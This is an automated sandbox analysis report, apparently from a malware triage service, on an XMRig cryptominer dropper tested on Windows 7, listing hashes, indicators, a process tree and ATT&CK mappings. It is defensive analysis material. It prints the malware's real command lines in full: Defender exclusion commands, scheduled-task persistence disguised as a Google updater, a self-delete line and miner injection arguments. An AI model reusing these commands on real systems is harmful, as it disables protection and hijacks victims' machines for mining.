xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
439s
max time network
1791s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2468 created 1304	2468	XJEzW6M7WvHaF3EX.exe	7
PID 2468 created 1304	2468	XJEzW6M7WvHaF3EX.exe	7
PID 2468 created 1304	2468	XJEzW6M7WvHaF3EX.exe	7
PID 2468 created 1304	2468	XJEzW6M7WvHaF3EX.exe	7
PID 1720 created 1304	1720	updater.exe	7
PID 1720 created 1304	1720	updater.exe	7
PID 1720 created 1304	1720	updater.exe	7
PID 1720 created 1304	1720	updater.exe	7
PID 1952 created 1304	1952	conhost.exe	7
PID 1720 created 1304	1720	updater.exe	7

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral27/memory/2860-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2860-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2520	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1720	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2944	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral27/memory/2860-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2860-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1720 set thread context of 1952	1720	updater.exe	52
PID 1720 set thread context of 2860	1720	updater.exe	46

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	XJEzW6M7WvHaF3EX.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2776	schtasks.exe
2888	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3044	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30149e79b94fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2468	XJEzW6M7WvHaF3EX.exe
2468	XJEzW6M7WvHaF3EX.exe
1712	powershell.exe
2468	XJEzW6M7WvHaF3EX.exe
2468	XJEzW6M7WvHaF3EX.exe
2700	powershell.exe
2468	XJEzW6M7WvHaF3EX.exe
2468	XJEzW6M7WvHaF3EX.exe
2468	XJEzW6M7WvHaF3EX.exe
2468	XJEzW6M7WvHaF3EX.exe
2080	powershell.exe
1720	updater.exe
1720	updater.exe
2724	powershell.exe
1720	updater.exe
1720	updater.exe
2728	powershell.exe
1720	updater.exe
1720	updater.exe
1720	updater.exe
1720	updater.exe
1952	conhost.exe
1952	conhost.exe
1720	updater.exe
1720	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	1720	updater.exe
Token: SeAssignPrimaryTokenPrivilege	3044	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3044	WMIC.exe
Token: SeSecurityPrivilege	3044	WMIC.exe
Token: SeTakeOwnershipPrivilege	3044	WMIC.exe
Token: SeLoadDriverPrivilege	3044	WMIC.exe
Token: SeSystemtimePrivilege	3044	WMIC.exe
Token: SeBackupPrivilege	3044	WMIC.exe
Token: SeRestorePrivilege	3044	WMIC.exe
Token: SeShutdownPrivilege	3044	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3044	WMIC.exe
Token: SeUndockPrivilege	3044	WMIC.exe
Token: SeManageVolumePrivilege	3044	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3044	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3044	WMIC.exe
Token: SeSecurityPrivilege	3044	WMIC.exe
Token: SeTakeOwnershipPrivilege	3044	WMIC.exe
Token: SeLoadDriverPrivilege	3044	WMIC.exe
Token: SeSystemtimePrivilege	3044	WMIC.exe
Token: SeBackupPrivilege	3044	WMIC.exe
Token: SeRestorePrivilege	3044	WMIC.exe
Token: SeShutdownPrivilege	3044	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3044	WMIC.exe
Token: SeUndockPrivilege	3044	WMIC.exe
Token: SeManageVolumePrivilege	3044	WMIC.exe
Token: SeLockMemoryPrivilege	2860	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 2776	2700	powershell.exe	32
PID 2700 wrote to memory of 2776	2700	powershell.exe	32
PID 2700 wrote to memory of 2776	2700	powershell.exe	32
PID 2520 wrote to memory of 2540	2520	cmd.exe	33
PID 2520 wrote to memory of 2540	2520	cmd.exe	33
PID 2520 wrote to memory of 2540	2520	cmd.exe	33
PID 2080 wrote to memory of 2572	2080	powershell.exe	36
PID 2080 wrote to memory of 2572	2080	powershell.exe	36
PID 2080 wrote to memory of 2572	2080	powershell.exe	36
PID 2944 wrote to memory of 1720	2944	taskeng.exe	40
PID 2944 wrote to memory of 1720	2944	taskeng.exe	40
PID 2944 wrote to memory of 1720	2944	taskeng.exe	40
PID 2728 wrote to memory of 2888	2728	powershell.exe	53
PID 2728 wrote to memory of 2888	2728	powershell.exe	53
PID 2728 wrote to memory of 2888	2728	powershell.exe	53
PID 1720 wrote to memory of 1952	1720	updater.exe	52
PID 1424 wrote to memory of 3044	1424	cmd.exe	47
PID 1424 wrote to memory of 3044	1424	cmd.exe	47
PID 1424 wrote to memory of 3044	1424	cmd.exe	47
PID 1720 wrote to memory of 2860	1720	updater.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1304
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2776
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2888
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1412
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1424
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1952

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2540

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2572

C:\Windows\system32\taskeng.exe
taskeng.exe {A7C10CC4-19BE-4423-B0D2-3A35D13EC20D} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1720

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 196KB
SHA256 e9ed5a9530faf9cbd3496d9c77c42df8fda1c52c301fdc2089504af8d4f9ba2e
MD5 ad2e293d6801b2e6f23119084af2e4ef
SHA1 b2db86c542e7a59e9a6a4b412e3964b0ec4a547b
SHA512 e0d0233d2805d2ea38f0594d2a9214c2a835f2a537af21058fab1ff054439826b207373ce86b28d8ae0dc9b003d18d5822875097c24b571650315b57fda55e87
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfg+:rWVi46hyqG2ckwLxg+
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 167KB
SHA256 10e4b729871337d3af536c3227f85fd4a7f39b1fdb69d6d414b972b78eb07cdc
MD5 522f2c9fa0b666d7728396c2aee14c53
SHA1 fd98199c6e9eb0ea5744b41f908e7cafc7a049bf
SHA512 503fbf7cb3213c714b7bfb787ce59aa764dce21cb6d20af2b9f674dca5bee715dbbde1af2ff7ac86fc1b1f8c643c1d1619ca7e613a51530f044546657a3ec83e
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYviCH923SRVBkU0yS5:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0z
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 fc6b794a1ac452f8b13f922a228d76d511a6eb497ad2af5b9dd5239c08632c27
MD5 577d4ece44b657d031caf3f0d127ac4b
SHA1 9cf1e46a8a83b83cef81a0a98de81343b6a1ed17
SHA512 9416e18d0941aebe5cddefbd5f88c77a1be12dc1c2e0f65fbca3dd73e2d0690406f18d832c3067a94801133c5e658ef914bbddd61678e5c256ee84dd8cb5b18a
SSDEEP 96:85aCNM8fnqvsqvJCwoGf/5aCNM8fnqvsEHyqvJCwor8fM90/QHDj7SNXlUV9:kv7UoGfxv7AHnor8fMWuj7SNC
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 192KB
SHA256 668afb39256d7c459e26c00974beec260d419b40768bd6448900eb4d7187affd
MD5 4734db0f21590f00b63caad266942351
SHA1 3526363cb71649ab7b0468651760f1ea910d7aca
SHA512 c6652f2329c05a69c21d69cb0fd59cabe1279fe246e8019e4a90c8836ba5b7905e413c0fa27fa3b3c7aaccf3e921b34661b4e2f0cf18af964c4eba2617efbdd6
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRh:rWVi46hyqG2ckwL7
MD5 SHA1 SHA512 SSDEEP

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memory/1712-10-0x0000000001D60000-0x0000000001DE0000-memory.dmp

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memory/1712-5-0x000000001B540000-0x000000001B822000-memory.dmp

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memory/1712-9-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

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memory/1712-12-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

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memory/1712-11-0x0000000001D60000-0x0000000001DE0000-memory.dmp

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memory/1712-6-0x0000000001D50000-0x0000000001D58000-memory.dmp

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memory/1712-7-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

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memory/1712-8-0x0000000001D60000-0x0000000001DE0000-memory.dmp

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memory/1720-65-0x000000013F8A0000-0x000000013FAB1000-memory.dmp

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memory/1720-44-0x000000013F8A0000-0x000000013FAB1000-memory.dmp

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memory/1952-76-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1952-70-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2080-35-0x0000000001EA0000-0x0000000001F20000-memory.dmp

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memory/2080-34-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

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memory/2080-39-0x0000000001EA0000-0x0000000001F20000-memory.dmp

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memory/2080-38-0x0000000001EA0000-0x0000000001F20000-memory.dmp

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memory/2080-37-0x0000000001EA0000-0x0000000001F20000-memory.dmp

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memory/2080-36-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

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memory/2080-40-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

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memory/2468-28-0x000000013F640000-0x000000013F851000-memory.dmp

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memory/2468-0-0x000000013F640000-0x000000013F851000-memory.dmp

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memory/2700-19-0x000007FEF4A70000-0x000007FEF540D000-memory.dmp

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memory/2700-18-0x000000001B420000-0x000000001B702000-memory.dmp

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memory/2700-25-0x0000000002B20000-0x0000000002BA0000-memory.dmp

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memory/2700-23-0x0000000002B20000-0x0000000002BA0000-memory.dmp

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memory/2700-26-0x000007FEF4A70000-0x000007FEF540D000-memory.dmp

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memory/2700-24-0x0000000002B20000-0x0000000002BA0000-memory.dmp

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memory/2700-20-0x0000000002B20000-0x0000000002BA0000-memory.dmp

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memory/2700-21-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

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memory/2700-22-0x000007FEF4A70000-0x000007FEF540D000-memory.dmp

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memory/2724-46-0x0000000001530000-0x00000000015B0000-memory.dmp

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memory/2724-49-0x0000000001530000-0x00000000015B0000-memory.dmp

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memory/2724-45-0x000007FEF4A70000-0x000007FEF540D000-memory.dmp

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memory/2724-50-0x0000000001530000-0x00000000015B0000-memory.dmp

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memory/2724-47-0x000007FEF4A70000-0x000007FEF540D000-memory.dmp

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memory/2724-51-0x000007FEF4A70000-0x000007FEF540D000-memory.dmp

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memory/2724-48-0x0000000001530000-0x00000000015B0000-memory.dmp

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memory/2728-58-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

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memory/2728-57-0x00000000014B0000-0x0000000001530000-memory.dmp

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memory/2728-53-0x00000000014B0000-0x0000000001530000-memory.dmp

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memory/2728-56-0x00000000014B0000-0x0000000001530000-memory.dmp

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memory/2728-55-0x00000000014B0000-0x0000000001530000-memory.dmp

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memory/2728-54-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

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memory/2728-52-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

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memory/2860-67-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-69-0x0000000000F80000-0x0000000000FA0000-memory.dmp

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memory/2860-68-0x0000000000F20000-0x0000000000F40000-memory.dmp

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memory/2860-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-74-0x0000000000F20000-0x0000000000F40000-memory.dmp

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memory/2860-75-0x0000000000F80000-0x0000000000FA0000-memory.dmp

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memory/2860-66-0x0000000000700000-0x0000000000720000-memory.dmp

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memory/2860-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2860-103-0x0000000140000000-0x00000001407F4000-memory.dmp

